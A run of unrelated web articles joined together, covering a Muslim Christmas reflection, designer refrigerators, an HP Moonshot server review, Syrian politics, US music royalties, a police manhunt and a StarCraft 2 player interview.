Jesus would not prefer one race or group of people over another. I believe he would condemn today’s demonization and dehumanization of the Palestinian people, as well as the misrepresentations of him that only fuel ignorance and ethnocentrism. As a Muslim, I believe Jesus was a prophet of God, and if I were to have any say about the Christmas spirit, it would be based on Jesus’ character: humility, compassion, and Love. A love in which all people, regardless of ethnicity, race, culture, religion, gender, and sexual orientation are respected and appreciated.
And in that spirit, I wish you a merry Christmas. Alaha Natarak (Aramaic: God be with you).Domenico Dolce and Stefano Gabbana are known for paying less-than-subtle tribute to their Italian heritage, and specifically that of Sicily, through their runway collections. Last year, they took their love of country to a very different kind of canvas through a wonderfully odd new collaboration. The designers teamed up with the Italian appliances brand Smeg to produce 100 limited-edition FAB28 refrigerators, all of which are hand-painted by artists specially commissioned by Dolce and Gabbana themselves. As Dolce explained, “Every piece is unique, but they all tell a story consistent with our brand identity. They might be kitchen appliances, but there’s something that is immediately identifiable as Dolce & Gabbana, from the Sicilian barrows to the Trinacria symbol to the marionettes to the Italian lemons and fruits.” Bedecked with these prints that we’ve seen pop up in past collections from the fashion house, each fridge will be available through Smeg and Dolce & Gabbana. Up until recently, they were only available abroad, retailing for €30,000. But now, for $50,000, you can buy one in the US from Neiman Marcus.
“These are really the perfect collector’s pieces,” Gabbana said in anticipation of their original debut at Salone del Mobile in Milan. “And even though our companies are in different sectors, there are still similarities, like a passion for creativity and innovation, attention to quality and details, and, of course, a love of Italy and Italian-made products.”
Below, take a look at how these spectacular designer refrigerators were made with love in Italy.Women’s football takes center stage in this brand new documentary series from FOX Sports that showcases some of the most uplifting stories in the sport.
The six part series called “Rise As One” will air in 55 countries around the planet, and will feature some of football’s most memorable and incredible tales in the run up to the 2014 World Cup, with exclusive interviews from football legends like France’s Zinedine Zidane and Brazil’s Ronaldo. The documentary aims to celebrate the humanity and perseverance found in sport, and how football’s global reach makes it uniquely inspiring.
“Rise As One” will kick off with the powerful story of the Japanese women’s World Cup winning team, which overcame the devastation of the 2011 tsunami and the Fukushima disaster to become a focus of healing for their nation. The episode features key members of the at 2011 squad, including star player Homare Sawa, coach Norio Sasaki, and Karina Maruyama, who worked part-time in the Fukushima power plant.
Photo source: msn.foxsports.com
Read full story.About
The Story
Two reluctant best friends go to a funeral for a friend that was a jerk. The family makes him out to be a martyr while the former friends really knew how he was. Russ and Chris plan on stopping by the funeral for Andy and getting out as quickly as possible. Andy's step-mother guilts them into staying longer and puts them into an increasingly awkward run-out-the-clock situation.
Why make this?
Some of the funniest moments in my life have been at funerals. The crippling awkwardness and your complete inability to laugh because it is seen as disrespectful.
"The two most beautiful memorial services that I've ever attended both had a lot of humor, and it somehow freed us all and made the services inspiring and cathartic." - John Cleese
Crew
Cinematographer: J. Christopher Campbell (Congratulations! AFI Fest, Ghost of old highways Atlanta Film Festival)
Editor: Lear Bunda Adult Swim Squidbillies, Aqua Teen Hunger Force
Producer: Alex Warner When the Zombies Come
Associate Producer: Matt Ryan, Cannes Film Festival
Score: Russ Kirn (Sneaky Hands) will be scoring the film here is an example of his work: http://thespitballs.bandcamp.com/track/more-twists-and-turns
Cast
This project is a shared vision of Russ Kirn, Alex Warner and myself. We are going to use improv and mumblecore to flesh out a raw feeling for the project. For this, we are going to use a lot of improv actors within the Atlanta area like, Dad's Garage, Relapse Theatre and Second City Alumni.
This is Russ I had to find the most unflattering picture of him. Relaspe Theatre
Amber Wallace Second City, Eastbound and Down, 90210
Beth Woodruff, Acting Company
Why am I assembling so many redheads? Donate to find out!
Previous WorkWhen the Zombies Come premiered at Sundance film festival in 2013. It is a dark comedic documentary about fans of The Walking Dead.
It was apart of Indiewire's list The Ten Competition Short films Not To Miss. The short was made for under 100 dollars and the majority of it was for beer for the host.
What the money will go to
The feature will be shot on super 16 mm film. This has an ideal look to add to overall feel of the feature; however, shooting on film and processing the film is more expensive but it creates the ideal look for this project. 25% of the project's money will go towards buying film stock and post production processing.
Budget projections
Thanks
Thank you for checking out my KickStarter and with your help we can make this project reality. Please share this project with your friends to help this project grow. Feel free to tweet or message me any questions or concerns.Mike Vicic - July 1, 2010
CLICK THIS LINK TO SEE THE LIST OF 321 TV SPECIALS, MOVIES AND MARATHONS FOR 4TH OF JULY 2015.
Are you looking for Anthony Bourdain or Andrew Zimmern to give you some ideas for summer fun? Are you going to the park to play or would you rather watch Wimbledon, FIFA World Cup, or the Tour de France? Do you want to celebrate American History with JOHN ADAMS, THE REVOLUTION or AMERICA: THE STORY OF US? Or maybe you just want to stay home and enjoy music and fireworks from the comfort of your couch?
Bring out your lawn chair, throw some burgers on the BBQ, and watch some television. TV Tango has your complete guide to Independence-Day themed programming as well as series and movie marathons on TV for the entire Fourth of July Weekend.
Friday, July 2, 2010
Saturday, July 3, 2010
Sunday, July 4, 2010
Monday, July 5, 2010When it comes to data center servers, the goal is to pack the most power into the smallest, most efficient package. HP has leapfrogged past traditional blade servers with its new Moonshot line that delivers high density and low power in a space-saving "cartridge-based" chassis.
We received the first publicly reviewable unit in the Moonshot series and at the end of testing we were exhausted, but also in awe. The enormous effort in initial configuration, we found, pays handsomely.
Strategically, HP has launched Moonshot as a response to the white-box server makers who are grabbing an increasing share of the server market, especially among cloud service providers and large enterprises. Moonshot falls into the general category of hyperscale computing, which means it’s designed for data center and Big Data environments where the ability to quickly add large numbers of servers is important.
So, what exactly is it? For about $62,000, you get 45 server cartridges, a 4.3U chassis (7.5 inches tall), power supplies, management unit, a crossbar internal switch (ours had two), an uplink 10Gigabit Ethernet controller, power cords, and rack mounts. In other words, a server farm in a box.
While one might have expected low-power ARM processors, HP went with x64 dual-core Intel Atom CPUs. Each core has two threads. And each cartridge came with a 1TB conventional hard drive along with 8GB of DDR3/1333MHz memory. SSD options are available, too.
Another interesting wrinkle: Only Linux distributions are supported: Red Hat, CentOS, Fedora, and Ubuntu. No Windows.
+ ALSO ON NETWORK WORLD HP regains server lead +
When it comes to density, Moonshot hits its target. Eight Moonshot chassis fit into a 42U rack for a total of 360 discrete server cartridges. That full rack would consume only 9,600 watts, representing a small fraction of power density/heatstack removal needed by an equivalent density of 42-1U servers containing four-CPU/four-core servers.
Inside Moonshot, there are four high-speed buses. The network I/O is handled by a Broadcom uplink chassis adapter with six-10G Ethernet SFP+ connectors, for a gross total of 60GB of Ethernet. Also on the rear of the chassis are power supply connections, an HP Integrated Lights-Out (iLO) GBE port for chassis control (but not switch control, initially), serial ports, and a microSD card drive.
In a typical blade server chassis, all of the blades connect to one backplane for networking and storage. With Moonshot, cartridges are managed into three total zones: two zones of equal size, and one smaller zone. One or two Ethernet switches can be installed internally. HP's Cluster Management Unit software was obtained for purposes of testing, and we feel that purchasers of the Moonshot system will very likely want to license the CMU software.
Each cartridge is of a uniform type, not shielded with metal casings as blades often are, and each Moonshot server is homogeneously built of a specific cartridge type. The cartridges look very much like single-board computers with a bus. As the cartridges aren't shielded, airflow through the chassis lacks the need for channels and barriers to route airflow. The cartridges use comparatively little power, and the overall chassis, including switches and infrastructure use less than 1,200W in aggregate power consumption. We tested at peak, the unit pulled 1,174W.
Configuration caveats
The unit arrives, unless optional configuration has been purchased, totally unconfigured, and is not provisioned in conventional ways initially. After installation, which can be very arduous for those not well versed in HP servers and networks, subsequent provisioning and re-provisioning is highly automated and can be fast. The docs very clearly needed work.
Because of its internal switching architecture and reliance on Linux, you'll need a hybrid network and systems engineer to make it work. We changed hats frequently as we ran Moonshot through its paces.
HP offers “Factory Direct” pre-installation and configuration options. We recommend going Factory Direct with pre-installed options for the faint of heart, as our installation wasn't fun.
Initial configuration comes through a connection to a serial port, which we found painful for many reasons. You can use a micro-SD card to serve as configuration storage, as there's one built into the management module on the rear of the Moonshot chassis.
We connected to the chassis using a notebook with a USB-Serial adapter and a terminal program to one of two serial ports on the rear of the chassis. One serial port is used for HP’s iLO management, and the other is for the Broadcom switch that's used to connect Moonshot to the rest of the world. HP doesn't have an exact formula for what kind of serial connection is needed. Although it's believed that a standard 9pin D-connect ought to work; two of them failed before HP sent one that finally worked.
The firmware seems primitive. We made it work, but used more guessing than we like. There are marks on the wall at the lab from throwing things in frustration. The summary of the procedure is to use the serial jack to initialize user passwords, provision the switch with IP address options so that the chassis can talk to the world from the switch. The serial cable, from that point onwards, is recyclable. The chassis, for all its other security, uses guessable passwords initially, and in no way vets the secure nature of subsequent passwords. They must be changed.
Once the switch talks and the chassis is alive, Moonshot is provisioned through setting up IP address schemes to match PxE requests that'll be made by the cartridges. Once that's done, the cartridges can be provisioned via PxE to become server instances. Each server, in turn, has two cores and four threads to use for apps, be those native, or inside SELinux, Ubuntu's new containerizing scheme, or other partitioning methods for scale out and compression.
The Linux distros are customizable, and there are methods to allow the HP Cluster Management Software to do the bus provisioning that allows cartridges to be used in scale-out schemes.
We made the Moonshot swallow CentOS, which is the OS most used in HP's documentation examples. The procedure used was: get one of the 45 cartridges to be the “master cartridge,” then use the master to PxE provision each of the nodes in whatever flavor combinations are desired. We provisioned the cartridges up as fast as we could, which didn't take long, as the internal Gigabit Ethernet switch is non-blocking and most of installing a distro amounts to copying unneeded, seldom used, once-in-a-lifetime-if-we're lucky stuff. Each cartridge consumes about 11.3 watts at maximum, not including chassis overhead, as measured by our handy Kill-A-Watt meter.
We then used combinations of an internal VSP-connected (Virtual Serial Port, analogous to watching VMware or RDP-like remote instance booting) master node, so as to prep it to become the image source for the 44 other nodes. The combinations on each cartridge can be: whole thing is used by one OS, split into two, or if you want to play around, divide up resources using virt or another non-VT-compatible virtualized instance.
One node failed early. We updated the firmware, a fairly simple process, but something else was wrong, and HP overnighted a working replacement. This is where the ability to use a virtual serial port to watch cartridge boot-time messages came in handy.
Tests: Processing Power
The Atom processor used in the cartridges isn't a Xeon-family CPU and so lacks tremendous processing power, but it’s reasonably fast.
We compared the Moonshot cartridge with several other servers, desktop units, and tried to find where its musculature fits. We tried to match memory, number of daemons running (killing and adding them to match), and used a Linux physical drive to ascertain disk speed using LMBench3, a tired but reasonable benchmark for Linux boxes. We abbreviated the test, but used equal memory and other settings across the types of systems we tested for results.
For this test, each cartridge was treated as available in whole to LMBench3, which was compiled with gcc. We limited the VMs we tested to 1-VCPU, and made the daemons equal, and used default settings, otherwise. We also used the Phoronix test suite to gauge cartridge speed and compare it to several types of dual-core systems to gauge speed.
Bottom line: The cartridges aren't state of the art Xeons in terms of speed, and they're not so slow, given their low-power consumption characteristics.
Conclusion
HP aptly calls Moonshot, “a software-defined server”, and we agree. In a way, as Moonshot is delivered “raw”, it's both an industrial controller but also a small server farm-in-a-box and lends itself to the “maker” world as well as green server consumer.
This is a radically different server designed to compete with the custom infrastructure being used by some of the major websites and CDNs, but as in scale-out, rather than scale-up. It's not a big machine for virtualization, and indeed the processors don't support but the most rudimentary of virtualization schemes because they're not designed for it.
In aggregate, Moonshot's computational density is comparatively awesome -- especially for the power consumed. Nonetheless, it's neither a blade server, or a dense-core server, and it's a dramatic change from an otherwise conservative server vendor.
Where separate physical instances need to be scaled 45X at a time, there is no real equivalent without building custom (or otherwise) infrastructure. We see numerous clustering opportunities for Moonshot, and look forward to new cartridge modules. The software-defined system moniker that HP applies to Moonshot is apt, but the software needed to truly define Moonshot is still elusive - and what's there currently requires immediate security bolt-down.
As an array, and possible element of a cluster, it's almost revolutionary in terms of bucking the main stream of 1U-defined computing. Moonshot's in need of some additional simplicity, lacquer, and manageability -- but once overcome, it's a key and highly-efficient puzzle piece in NOCs of the future.
Henderson is principal researcher for ExtremeLabs, of Bloomington, Ind. He can be reached at [email protected].
How We Tested
We installed the Moonshot chassis in a separate cabinet in our NOC at Expedient/nFrame in Indianapolis -- it requires a long chassis and our rack cabinet won't quite accommodate it with the back door still on; just slightly too long. In turn, we connected the described serial cable and instructed the chassis to wake up in various ways. We later connected the Moonshot Gigabit Ethernet ports to a switch, and began to program the configuration. We then obtained and connected two Extreme Networks switches to two other Extreme Networks switches in our cabinet, using SFP+ and fiber cables to allow cross-bar connectivity among the Moonshot ports and our internal network.
We configured a master node running CentOS 6.4, and developed an internal network for Moonshot cartridges, allowing them to boot by PxE configuration. DHCP, TFTP, and images, ready, we configured the remaining 44 cartridges with the same version of CentOS and proceeded to PxE boot the remaining cartridges. We used Puppet Enterprises puppet communications among the cartridges for status and state observation, then proceeded to test loop-back output of the cartridges.
We equalized running daemons in each test to match a minimum needed to run the test and these were the same among the systems.
Notes: We strongly recommend HP's Cluster Management Utility for purchasers of Moonshot; although this product isn't reviewed here, it makes Moonshot more livable.CNN's Dana Bash on Trump's debate performance (screen capture)
Among the more astounding moments from Sunday night’s presidential debate was Republican nominee Donald Trump’s threat to “have a special prosecutor” investigate Democratic nominee Hillary Clinton and jail her.
CNN’s Dana Bash said after the debate, “Okay, not to sound too corny, but what makes this country different from countries that have dictators in Africa or Stalin or Hitler or any of those countries with dictators and totalitarian leaders is that when they took over, they put their opponents in jail.”
“To
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This time off was super important for me. I was so busy doing other stuff that I didn’t even notice how fast his month has passed. It was really uncomfortable three or four days after the surgery, but after that I pretty much rested and studied.
"I plan on coming back to training next week and fighting in December," he continued. "This is my plan. But before I make any decision, I will listen to what the doctors have to say. I have an appointment with the doctor next week to find out if he really clears me to train again, but I’m feeling super fine."
Cyborg did sound a humorous note of caution saying that doctors told him that he “won’t be the same way he was.” And that he now thinks of himself like “a damaged car” rather than “a brand new one.” Which is all good fun, unless of course it’s the truth.
If Cyborg really can make his return to MMA, then fans and promoters can only hope he does so without any lasting effects from his incredible injury. If not, his return to combat sports could get ugly in a hurry.The consequences of his decision could be momentous, perhaps more so than in any of the other revolts yet seen in the Middle East. Unlike Egypt and Tunisia, Syria is home to a checkerboard of defensive religious and ethnic minorities, and many fear that the end of the Assad family’s 40-year dynasty could unleash brutal revenge killings and struggles for power. The chaos could easily spill over Syria’s borders, to neighboring Lebanon and beyond.
The Obama administration has already accused Iran of helping to prop up Mr. Assad. If Syria fell, it would mark a striking setback for the theocratic regime in Tehran, which has depended on Syria for its influence in the Israeli-Palestinian conflict and elsewhere. Yet Iran’s nemeses — including Israel, the United States and Saudi Arabia — are also deeply unsettled by the prospect of regime change in Syria, which could set off a messy Iraq-style civil conflict.
Even if Mr. Assad survives, the turmoil is likely to have profound effects on Middle Eastern politics, some analysts say. “Our entire Syria policy for the past two and a half years has been based on getting Syria and Israel back to the peace table,” said Andrew Tabler, an analyst with the Washington Institute for Near East Policy. “Now that Bashar has accused Israel and the United States of fomenting this challenge to him, it will be even harder for him to do that.”
In a sense, the crisis Mr. Assad now faces is the same one that has defined his years in power: Again and again, he has inspired hopes, both at home and abroad, only to disappoint them. Western leaders courted him, in hopes he would democratize his country, make peace with Israel and stop supporting the militant groups Hamas and Hezbollah. Syrian liberals enjoyed a brief “Damascus Spring” of greater openness after his accession, but it soon faded. His personal style helped foster those illusions. Unlike his stern father, Hafez al-Assad, who took power in a coup in 1970, Bashar al-Assad seemed quiet and almost meek. He had studied ophthalmology in London, and had an elegant British-born wife. He speaks fluent English and French, and reads widely.
Even until recent weeks, “there was a tendency to see him as separate from the regime, that he could step out of his role,” said one Syria-based analyst, who spoke on condition of anonymity. But that patience seems to have ended. Calls for reform have turned into demands for an end to the Assad government, something unheard of until now.
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Like other autocrats, Mr. Assad may be cushioned from the reality of the uprising; Syrian state media have portrayed it as the work of agents provocateurs from Israel, Saudi Arabia and even Lebanon. Some diplomats who know him personally say they believe Mr. Assad understands what is happening — and what he needs to do to stop it — but is too hesitant, or too timid, to carry it out.
“I think Bashar knows there has to be a political solution,” said one former European diplomat who spent years in Damascus. “But he doesn’t have the courage to do what he needs to do for the sake of the country, and perhaps for his own survival.”
In part, that may be a matter of family dynamics. Mr. Assad is surrounded by relatives with reputations for ruthlessness, including his brother Maher al-Assad, who commands the army’s Fourth Armored Division, and his brother-in-law Assef Shawkat, an intelligence chief. The family is said to fear that easing up on protesters could embolden them, bringing much larger crowds into the streets.
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“They’re damned if they do, and damned if they don’t,” said Joshua Landis, a Syria expert at the University of Oklahoma. “Bashar knows what the regime is built on: fear and patronage. And the fear is gone now.”
Mr. Landis and other analysts said they believed Mr. Assad could still master the situation by announcing major concessions like relinquishing the Baath Party’s hold on power or announcing free elections. But so far, his gestures have been too little, too late. If he had lifted the emergency law at the start of the uprising in March, instead of waiting until hundreds of protesters had been killed, it might all have ended there, Mr. Landis said.
Mr. Assad’s options are now limited by a grim sectarian logic. His family, which has led Syria since 1970, is Alawite, a religious minority that represents perhaps 12 percent of Syria’s population of 23 million. They have maintained a tight grip on Syria’s feared security services, generating deep resentment among the country’s majority Sunni Muslims.
In recent weeks, fearing a split in the army, the Assad government has relied almost exclusively on Alawite-dominated units, including the army division led by Mr. Assad’s younger brother Maher al-Assad, analysts say. But that tactic has reinforced resentment of the Alawites among the rest of the population, and raised greater fears of sectarian bloodletting.
“Bashar is totally cornered,” said the former diplomat. “And I’m sure that he is surrounded by people who are telling him: ‘We’re all in the same boat.’ ”Share
Over the weekend, Radiohead frontman Thom Yorke his super producer buddy Nigel Godrich took to Twitter to explain why they pulled their most recent project, Atoms For Peace, from Spotify. Yorke piled on and pulled a bunch of his solo work as well, in what’s only the latest example of artists publicly criticizing hugely popular online music services like Spotify and Pandora. Exhibit B: Pink Floyd’s recent editorial in USA Today.
Spotify currently boasts 24 million active users, while Pandora reports 200 million subscribers; it’s probably safe to say that very few of these people want musicians to get screwed over by these services. We understand artists need to get paid for their work — otherwise, they can’t make music, right? But for most of us the process looks like this:
Press Play on our favorite app or service [Internet voodoo happens here] Artists get paid!
The reality is more complex, and it’s made that way by the complicated, convoluted system of royalties. So how do music royalties work (at least, in the U.S.), and why does everyone seem to feel screwed?
Music copyright basics
We think of a “song” as a single thing, but a typical song has at least two copyrights that are often held by different people or groups.
A song’s copyright initially belongs to its writer(s): maybe that’s one person, maybe it’s a couple members of a band. The songwriter copyright is exclusive: once it’s established, no one else can get a songwriter copyright on the same tune.
Simple enough. However, the songwriter copyright applies only to the composition: the fundamental melody, musical structure, and lyrics (if any). Any recordings of the song have a separate copyright, and there can be any number of these individually copyrighted recordings.
Now you know why Weird Al Yankovic is a genius.
In the United States, mechanical licenses apply to downloads and physical copies, and a compulsory rate is set by the Copyright Royalty Board: currently 9.1 cents per copy for songs five minutes and under, or 1.75 cents per minute (or fraction thereof) for songs over five minutes. That’s the standard deal; if I don’t like that rate, I could try to negotiate a better one directly with the copyright holder, but they can say no. (Most songwriter/performers agree to far lower rates from their labels – that’s another topic.) If I didn’t pay for a license at all, Daft Punk can come after me for copyright infringement.
Most mechanical licenses go through the Harry Fox Agency, which been at it since Tin Pan Alley days, though outfits like Limelight, RightsFlow, and Easy Song Licensing are gaining a foothold in the business as well.
I could get around all this by making my cover a poultry-themed parody called “Get Clucky.” Thanks to 2 Live Crew, it would be exempt from copyright under the fair use – no permissions needed, no royalties to be paid. And now you know why Weird Al Yankovic is a genius.
The rights stuff
So far, so good: songs have a songwriting copyright, and each recording has a separate copyright of its own. Oh, but we’re just getting started …
Performing rights are a license to play a song in public. If that’s by live musicians, a royalty is owed to whoever administers the songwriting copyright. (In a neat twist, for live music the venue owes the royalty: the musicians are off the hook.) Public performance includes live or recorded music in shops, bars, nightclubs,restaurants, and some forms of online performance (hold that thought).
Synchronization rights are a license to play (sync) a music recording with another medium, usually film or television but also video games, advertisements, audiobooks, and even phone messages. Syncing requires a license both to the recording and the composition. If someone wants to put my version of “Get Lucky” in a movie, they need to license the recording from me (for one kerzillion dollars!) and also get a mechanical license from Daft Punk (via Harry Fox or a similar clearinghouse.)
Publishing rights are primarily about sales of printed sheet music, but also applies to some instructional materials.
How do people deal with all this?
If all this seems like too much for performers and songwriters and venues and services to handle, you’re right. Mostly, they don’t.
Songwriters almost always work with publishers by granting (“assigning”) them their copyrights. At that point the publisher owns the compositions and their job is to collect royalties and promote the material, leaving the artists free to be … artsy. Publishers usually register copyrights, arrange for print publishing, and try to get songs placed with other artists, television, and movies. In exchange, they usually keep half the royalties. So when I cover a song, in theory the royalty goes to the songwriter’s publisher, who later credits some of the money to the writer. For “Get Lucky” specifically, Pharrell Williams and Nile Rodgers are credited as writers alongside Daft Punk, so they get cuts too – actually, their publishers (Sony/ATV and EMI) get cuts, and Pharrell and Nile get a cut of those cuts. See?
However: songwriters and publishers don’t collect most royalties. Instead, performance rights organizations (PROs) do a lot of the legwork. In the U.S., that’s ASCAP, BMI, and SESAC, some of those acronyms you’ve probably seen in song credits. Their job is to monitor performances, broadcasts, and (some) online uses of material, collect licensing fees from radio stations, music venues, and the like, then disperse royalties. (They also sell blanket licenses to broadcasters, webcasters, venues, etc., among other things.) Performance rights organizations usually take 10-15 percent off the top for their expenses. So, when someone plays my version of “Get Lucky” in a bar, in theory a songwriting royalty eventually gets to BMI, which represents Daft Punk, Nile Rodgers, and Pharrell. BMI takes a cut, and sends the remainder to Imagem, Sony, and EMI, who each take a cut.
But, when my version of “Get Lucky” gets played in that bar, I get paid too, right? Nope! In the United States, recording copyright holders receive no performance royalties from plays on radio, in venues, or on some Internet services. The idea is that recording artists receive significant promotional benefit from public performances: after all, when folks hear “Blame It On The Rain,” they almost always think of Milli Vanilli, not songwriter Diane Warren. There can be tremendous value to music played on radio or in the right clubs: it spurs sales and raises an artist’s profile.
What does this mean for Internet streaming?
There are two basic kinds of Internet music services: interactive and non-interactive. Non-interactive services work like traditional radio: everyone hears the same thing, and listeners don’t control the content – think Live365 or RadioIO. Interactive services are an on-demand thing: listeners determine what they hear, like the customized playlists on Spotify, Google Play, and Rhapsody.
But, when my version of “Get Lucky” gets played in that bar, I get paid too, right? Nope!
Right now, digital broadcasters pay differing royalty rates. Cable music pays 15 percent of their revenue and satellite radio pays 7.5 percent. Internet radio pays either $0.02 per listener per hour or 25 percent of their revenue, whichever is greater. (Terrestrial radio still pays nothing. Promotion, remember.)
But! These rates apply only to non-interactive services. (Pandora’s custom stations count as non-interactive, by the way.) Interactive, on-demand Internet music services are a total grey area: the PROs are not collecting songwriter royalties, and SoundExchange isn’t collecting performance royalties. So far, all deals covering interactive services like Spotify and Slacker have been individually negotiated with record labels rather than mandated by legislation and regulation. The result? Artists have reported earnings in the neighborhood of three tenths of a cent per play … if they see any earnings at all.
So who’s getting ripped off?
Internet music service likes Pandora and Spotify don’t (yet) have the reach of terrestrial radio, but they might arguably engage people better: custom streams and playlists are less likely to be “tuned out,” and interactive formats make it easy to learn about artists (and buy their music) with just a few taps or clicks. Does that potential value outweigh artist royalties, like terrestrial radio’s promotional value supposedly outweighs them? If you run one of these services, the answer may be yes. If you’re an artist, you probably feel differently – Thom Yorke, Nigel Godrich, and Pink Floyd obviously do.
Healthy discussion and debate are always good – and the music industry clearly needs many fixes. But if there’s been one constant in the American music business it’s that virtually no one claims songwriters and artists are overpaid, and no one claims the publishers and record labels are underpaid. A second contant? If artists can’t earn a living with their music, everybody loses.
I mean, imagine your life without “Get Clucky” – am I right?Northern Illinois town on lockdown as police manhunt continues
By Kristina Betinis
3 September 2015
A heavily militarized manhunt across Illinois and Wisconsin continued into a second day Wednesday. The subjects of the search are three men of whom little is known other than their physical description, allegedly involved in the shooting death of a police officer in northern Illinois.
The manhunt is being prosecuted using the only information given by a local police officer, Joseph Gliniewicz, who was shot and killed after reportedly pursuing the three. The description of the men was given to the police dispatcher—two white men and one black man. Gliniewicz’s service weapon was recovered at the scene. No additional details about his death are being released.
Based on this vague description of the suspects, a massive paramilitary response has been mounted across an entire region and the town of Fox Lake was put on lockdown. Hundreds of federal and local officers in heavy gear and armed with assault and sniper rifles—some on horseback—fanned across the area of small towns, including local and state police, SWAT and air patrols of helicopters equipped with heat sensors, and federal agents from the US Marshals, Bureau of Alcohol, Tobacco, Firearms and Explosives and the FBI.
The manhunt is centered in Fox Lake, Illinois, a village of 10,500 people at the border of Wisconsin, about 60 miles north of Chicago. The area is part of a 15-lake waterway system popular among vacationers.
After the shooting on Tuesday morning, the Federal Aviation Administration established a no-fly zone over the area at the request of local police, and passenger trains were stopped and searched. Roads were blocked off leading into and out of the area, and schools across three districts were locked down.
Residents were advised to continue to stay in their homes, or “shelter in place” on Wednesday, as the manhunt was expanded. Three school districts—Fox Lake, Big Hollow and Gavin district schools, and some private schools—were also closed. Public buildings including the Fox Lake library remained closed.
At the end of the day Wednesday, 400 local and federal law enforcement personnel are reported to be involved in finding the three men fitting Gliniewicz’s description. A two-mile stretch of the area has been flooded with waves of police, an estimated 50 dogs and dozens of helicopters, a tactic known as a “saturation patrol.” Police are continuing door-to-door canvasses of the area. Social media sites and area surveillance footage are also being combed.
At a Wednesday press conference, Lake County Major Crimes Task Force Commander George Filenko indicated that the aggressive search efforts would continue: “I’m not going to set a time limit on this. I have a murdered colleague—a police officer—and we’re not going to stop.”
It is not clear yet whether schools and public buildings will be permitted to re-open.
With increasing regularity, the flimsiest legal pretenses are being used to justify lockdowns of cities and towns and execute broad sweeps of streets, schools, homes and businesses by heavily-armed local and federal law enforcement personnel.
Earlier this summer in upstate New York, police placed several towns on lockdown in the search for two escaped prisoners. There, as many as eight hundred local and federal law enforcement officers were deployed and residents were instructed to shelter in place. It later came to light that prisoners in the Clinton Correctional Facility were tortured to extract potential information about the escapees, after having been questioned by Democratic state governor Andrew Cuomo.
On Tuesday, President Barack Obama released a statement on recent police killings in Texas and Illinois, declaring “I also promised that I would continue to highlight the uncommon bravery that police officers show in our communities every single day. They put their lives on the line for our safety. Targeting police officers is completely unacceptable—an affront to civilized society.”
Attorney General Loretta Lynch used the shooting to reaffirm the White House’s support for the police saying Wednesday. “I strongly condemn the brutal police shootings in Texas and in Illinois. We have had four more guardians slain, and frankly our hearts are broken over this... I have spent virtually my entire career working closely with state, local and federal law enforcement officers and these men and women volunteered to take on the most challenging, dangerous and important jobs that we have here.”
No additional information is being released about anything the investigation may have uncovered. Gliniewicz is the second Fox Lake police officer to be killed while on duty in more than 30 years, and the numbers of police killed on duty in the US has dropped historically. By June of this year, police had killed 500 people in the United States.
Please enable JavaScript to view the comments powered by Disqus.Qharmonix Profile Joined August 2011 Australia 12 Posts #1
Photo by Kavik, taken from the Root official announcement.
Q: Hi, please give a brief introduction of yourself for those who may not be familiar with who you are.
A: My name is Mack Smith, more commonly known as Petraeus and I am a professional SC2 player representing ROOT Gaming. I was born in New Zealand and lived there until recently when I moved to California.
Q: So you are best known as the best SC2 player in New Zealand, what is the scene like there in general for SC2?
A: I hope that is not the case! The 'best player in NZ' is not really an achievement in my opinion as the scene is extremely small and I think I'm the only player that competes at a high level in SEA, no offense to any other NZers. In 2012 there were a decent amount of LANs and WCS was huge so that was nice but not really sustainable because of the low player base and lack of interest. So this year we have had nothing and I honestly don't see the scene going anywhere for the next 3-5 years at least. It's sad but that's what happens with something like eSports in a small country like NZ.
Q: Did you have any problems balancing high school and StarCraft? People seem to have the notion that high school is the best time to start getting serious into gaming because it is not necessarily that time consuming compared to university.
A: I never really had any issues with high school and Starcraft. I definitely could have done better if I hadn't spent so much time practicing but the more time I spent playing the more I realised school really wasn't important to me and a higher grade wouldn't help me at all. I still managed to pass the three years I spent there with decent grades though. I know there are a lot of university courses that are more time consuming that high school but in my experience overall the two have fairly similar hours. The difference is that you choose to be at uni so you're likely going to put in more time and effort than the bare minimum that many put into high school. I don't really feel there is a lot to gain from high school so for me it was just a place to be until I could make a living off of gaming.
Q: What did your parents think/ say when you started to get serious about competing at the higher level? What do they think now that you got picked up by an internationally known pro team?
A: In 2012 I travelled to Tokyo, Australia and France within a couple of months so I think that was when they realised how serious it was. From then on I put more and more time into the game so when I said I wanted to leave school and go full time my parents weren't really surprised I don't think and were very supportive. I had already explained that I would be looking to move overseas and join an international team so I don't think joining ROOT was a huge surprise either.
Q: You were picked up by Root Gaming recently to be on their pro gaming roster. Did you approach them, or did they approach you? How did the negotiation process go between you and Root.
A: The negotiation process involved CatZ asking me in a ladder game if I wanted to join and move to the team house and me saying yes so that was pretty funny. It was pretty awesome because I had been really wanting to join ROOT already but didn't think I was good enough.
Q: Will your practice schedule change at all now that you are in the Root house? Are there any specific rules for how much you have to practice each day? What kind of practice schedule works best for you?
A: There is no set practice schedule for anyone in the house so I could pretty much play LoL all day if I wanted to. But being in a team house is really motivating so it’s a lot easier to play games 12 hours a day than it is to when alone at home. It’s also really easy to get advice from other Zerg's in the house. For me playing all day every day works otherwise known as #dedication.
Q: As an Oceania player, do you think that trying to get on a team outside of the region is the best choice for all players at the moment? Do you see this ever changing, and if so what would have to change within the Oceania scene?
A: I don't think that eSports will ever be a viable career path in a region that doesn't have team houses. There is nowhere near enough money in eSports to support large amounts of players on their own so for anyone not at a high international level it’s either a team house or your parent’s house with the latter obviously being more efficient and reliable. I think the Australian scene is nearly at that point but at the moment you have to move overseas in my opinion.
Q: How do you feel about the 2014 WCS changes Blizzard announced? How will they affect you personally?
A: I am pretty happy with the WCS changes for 2014. With SEA only slots it means I will have a really good shot at getting premier league which is nice obviously.
Q: What is your plan for 2014 as a whole? Do you have any specific goals in mind?
A: For a lot of 2014 I'll be in the ROOT house so my plans are just to practice as hard as I can there and hopefully get some good tournament results while in the US. After my visa expires I'm not sure what will happen so my goal is to continue competing in eSports and living overseas.
Q: What advice would you give to any Oceania amateur players who are thinking about trying to going pro?
A: If you're willing to work hard at something and you're passionate about it then you're wasting your life doing anything else.
Q: Any shout outs?
A: Thanks for the interview! Shoutout to my team ROOT Gaming and their sponsors Tt esports, twitch, V3 Gaming PC's and das keyboard.
